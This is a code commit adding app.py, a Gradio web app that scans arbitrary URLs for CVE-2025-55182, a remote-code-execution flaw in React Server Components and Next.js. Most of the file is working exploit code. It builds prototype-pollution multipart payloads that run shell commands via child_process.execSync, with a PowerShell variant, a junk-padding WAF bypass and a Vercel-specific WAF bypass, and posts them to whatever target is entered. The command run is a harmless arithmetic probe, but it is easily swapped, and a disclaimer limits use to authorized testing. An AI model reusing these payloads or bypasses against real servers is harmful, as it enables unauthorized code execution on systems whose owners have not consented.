blazingbunny commited on
Commit
68534d1
·
verified ·
1 Parent(s): b608c6d

Create app.py

Browse files
Files changed (1) hide show
  1. app.py +257 -0
app.py ADDED
@@ -0,0 +1,257 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import gradio as gr
2
+ import requests
3
+ import re
4
+ import random
5
+ import string
6
+ import json
7
+ from urllib.parse import urlparse
8
+ from requests.exceptions import RequestException
9
+
10
+ # --- Core Scanner Logic (Adapted from Assetnote) ---
11
+
12
+ def normalize_host(host: str) -> str:
13
+ """Normalize host to include scheme if missing."""
14
+ host = host.strip()
15
+ if not host:
16
+ return ""
17
+ if not host.startswith(("http://", "https://")):
18
+ host = f"https://{host}"
19
+ return host.rstrip("/")
20
+
21
+ def generate_junk_data(size_bytes: int) -> tuple[str, str]:
22
+ """Generate random junk data for WAF bypass."""
23
+ param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
24
+ junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
25
+ return param_name, junk
26
+
27
+ def build_safe_payload() -> tuple[str, str]:
28
+ """Build the safe multipart form data payload (side-channel)."""
29
+ boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
30
+ body = (
31
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
32
+ f'Content-Disposition: form-data; name="1"\r\n\r\n'
33
+ f"{{}}\r\n"
34
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
35
+ f'Content-Disposition: form-data; name="0"\r\n\r\n'
36
+ f'["$1:aa:aa"]\r\n'
37
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
38
+ )
39
+ content_type = f"multipart/form-data; boundary={boundary}"
40
+ return body, content_type
41
+
42
+ def build_vercel_waf_bypass_payload() -> tuple[str, str]:
43
+ """Build the Vercel WAF bypass multipart payload."""
44
+ boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
45
+ part0 = (
46
+ '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
47
+ '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
48
+ '"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
49
+ 'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
50
+ '"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
51
+ )
52
+ body = (
53
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
54
+ f'Content-Disposition: form-data; name="0"\r\n\r\n'
55
+ f"{part0}\r\n"
56
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
57
+ f'Content-Disposition: form-data; name="1"\r\n\r\n'
58
+ f'"$@0"\r\n'
59
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
60
+ f'Content-Disposition: form-data; name="2"\r\n\r\n'
61
+ f"[]\r\n"
62
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
63
+ f'Content-Disposition: form-data; name="3"\r\n\r\n'
64
+ f'{{"\\"\u0024\u0024":{{}}}}\r\n'
65
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
66
+ )
67
+ content_type = f"multipart/form-data; boundary={boundary}"
68
+ return body, content_type
69
+
70
+ def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> tuple[str, str]:
71
+ """Build the RCE PoC multipart payload."""
72
+ boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
73
+ if windows:
74
+ cmd = 'powershell -c \\\"41*271\\\"'
75
+ else:
76
+ cmd = 'echo $((41*271))'
77
+
78
+ prefix_payload = (
79
+ f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
80
+ f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
81
+ f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
82
+ )
83
+ part0 = (
84
+ '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
85
+ '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
86
+ )
87
+
88
+ parts = []
89
+ if waf_bypass:
90
+ param_name, junk = generate_junk_data(waf_bypass_size_kb * 1024)
91
+ parts.append(
92
+ f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
93
+ f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
94
+ f"{junk}\r\n"
95
+ )
96
+
97
+ parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{part0}\r\n")
98
+ parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n")
99
+ parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n")
100
+ parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--")
101
+
102
+ body = "".join(parts)
103
+ content_type = f"multipart/form-data; boundary={boundary}"
104
+ return body, content_type
105
+
106
+ def resolve_redirects(url: str, timeout: int, verify_ssl: bool, max_redirects: int = 10) -> str:
107
+ current_url = url
108
+ original_host = urlparse(url).netloc
109
+ try:
110
+ for _ in range(max_redirects):
111
+ response = requests.head(current_url, timeout=timeout, verify=verify_ssl, allow_redirects=False)
112
+ if response.status_code in (301, 302, 303, 307, 308):
113
+ location = response.headers.get("Location")
114
+ if location:
115
+ if location.startswith("/"):
116
+ parsed = urlparse(current_url)
117
+ current_url = f"{parsed.scheme}://{parsed.netloc}{location}"
118
+ else:
119
+ new_host = urlparse(location).netloc
120
+ if new_host == original_host:
121
+ current_url = location
122
+ else:
123
+ break
124
+ else:
125
+ break
126
+ except RequestException:
127
+ pass
128
+ return current_url
129
+
130
+ def send_payload(target_url: str, headers: dict, body: str, timeout: int, verify_ssl: bool):
131
+ try:
132
+ body_bytes = body.encode('utf-8') if isinstance(body, str) else body
133
+ response = requests.post(
134
+ target_url, headers=headers, data=body_bytes, timeout=timeout, verify=verify_ssl, allow_redirects=False
135
+ )
136
+ return response, None
137
+ except Exception as e:
138
+ return None, str(e)
139
+
140
+ def is_vulnerable_safe_check(response: requests.Response) -> bool:
141
+ if response.status_code != 500 or 'E{"digest"' not in response.text:
142
+ return False
143
+ server_header = response.headers.get("Server", "").lower()
144
+ has_netlify_vary = "Netlify-Vary" in response.headers
145
+ is_mitigated = (has_netlify_vary or server_header == "netlify" or server_header == "vercel")
146
+ return not is_mitigated
147
+
148
+ def is_vulnerable_rce_check(response: requests.Response) -> bool:
149
+ redirect_header = response.headers.get("X-Action-Redirect", "")
150
+ return bool(re.search(r'.*/login\?a=11111.*', redirect_header))
151
+
152
+ # --- Gradio Interface Logic ---
153
+
154
+ def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom_path):
155
+ if not url:
156
+ return "Error: Please enter a URL."
157
+
158
+ host = normalize_host(url)
159
+ timeout = 10
160
+ verify_ssl = True # In a public space, maybe better to keep SSL verification on
161
+
162
+ # Determine Payload
163
+ if safe_check:
164
+ body, content_type = build_safe_payload()
165
+ check_func = is_vulnerable_safe_check
166
+ mode_str = "Safe Check (Side-Channel)"
167
+ elif vercel_bypass:
168
+ body, content_type = build_vercel_waf_bypass_payload()
169
+ check_func = is_vulnerable_rce_check
170
+ mode_str = "Vercel WAF Bypass"
171
+ else:
172
+ body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
173
+ check_func = is_vulnerable_rce_check
174
+ mode_str = "Standard RCE Check" + (" (Windows)" if windows_mode else "")
175
+
176
+ headers = {
177
+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
178
+ "Next-Action": "x",
179
+ "X-Nextjs-Request-Id": "b5dce965",
180
+ "Content-Type": content_type,
181
+ "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
182
+ }
183
+
184
+ paths = [custom_path] if custom_path else ["/"]
185
+ logs = []
186
+ logs.append(f"Target: {host}")
187
+ logs.append(f"Mode: {mode_str}")
188
+
189
+ vulnerable_found = False
190
+
191
+ for path in paths:
192
+ if not path.startswith("/"): path = "/" + path
193
+ target_url = f"{host}{path}"
194
+ logs.append(f"\nTesting: {target_url}")
195
+
196
+ # Test 1: Direct Path
197
+ resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
198
+
199
+ if error:
200
+ logs.append(f"Error connecting: {error}")
201
+ elif resp:
202
+ logs.append(f"Status: {resp.status_code}")
203
+ if check_func(resp):
204
+ vulnerable_found = True
205
+ logs.append("RESULT: [VULNERABLE]")
206
+ if not safe_check:
207
+ logs.append(f"Redirect Header: {resp.headers.get('X-Action-Redirect')}")
208
+ return "\n".join(logs)
209
+ else:
210
+ logs.append("Result: Not Vulnerable")
211
+
212
+ # Test 2: Follow Redirect (if 1st failed)
213
+ redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
214
+ if redirect_url != target_url:
215
+ logs.append(f"\nFollowing redirect to: {redirect_url}")
216
+ resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
217
+ if resp_red:
218
+ logs.append(f"Status: {resp_red.status_code}")
219
+ if check_func(resp_red):
220
+ vulnerable_found = True
221
+ logs.append("RESULT: [VULNERABLE]")
222
+ return "\n".join(logs)
223
+ else:
224
+ logs.append("Result: Not Vulnerable")
225
+
226
+ final_status = "[VULNERABLE]" if vulnerable_found else "[NOT VULNERABLE]"
227
+ logs.append(f"\nFinal Status: {final_status}")
228
+ return "\n".join(logs)
229
+
230
+ # --- UI Setup ---
231
+
232
+ with gr.Blocks(title="React2Shell Scanner") as demo:
233
+ gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
234
+ gr.Markdown("Web-based scanner for React Server Components / Next.js RCE. Based on the [Assetnote Scanner](https://github.com/assetnote/react2shell-scanner).")
235
+
236
+ with gr.Row():
237
+ url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
238
+ path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
239
+
240
+ with gr.Row():
241
+ safe_check = gr.Checkbox(label="Safe Check (Side-Channel)", value=True, info="Uses non-destructive payload.")
242
+ windows_mode = gr.Checkbox(label="Windows Mode", value=False, info="Use PowerShell payload.")
243
+ waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False, info="Add junk data.")
244
+ vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False)
245
+
246
+ scan_btn = gr.Button("Scan Target", variant="primary")
247
+ output_box = gr.Textbox(label="Scan Output", lines=10)
248
+
249
+ scan_btn.click(
250
+ fn=scan_target,
251
+ inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
252
+ outputs=output_box
253
+ )
254
+
255
+ gr.Markdown("**Disclaimer:** This tool is for educational and authorized security testing purposes only. Do not scan targets you do not own or have permission to test.")
256
+
257
+ demo.launch()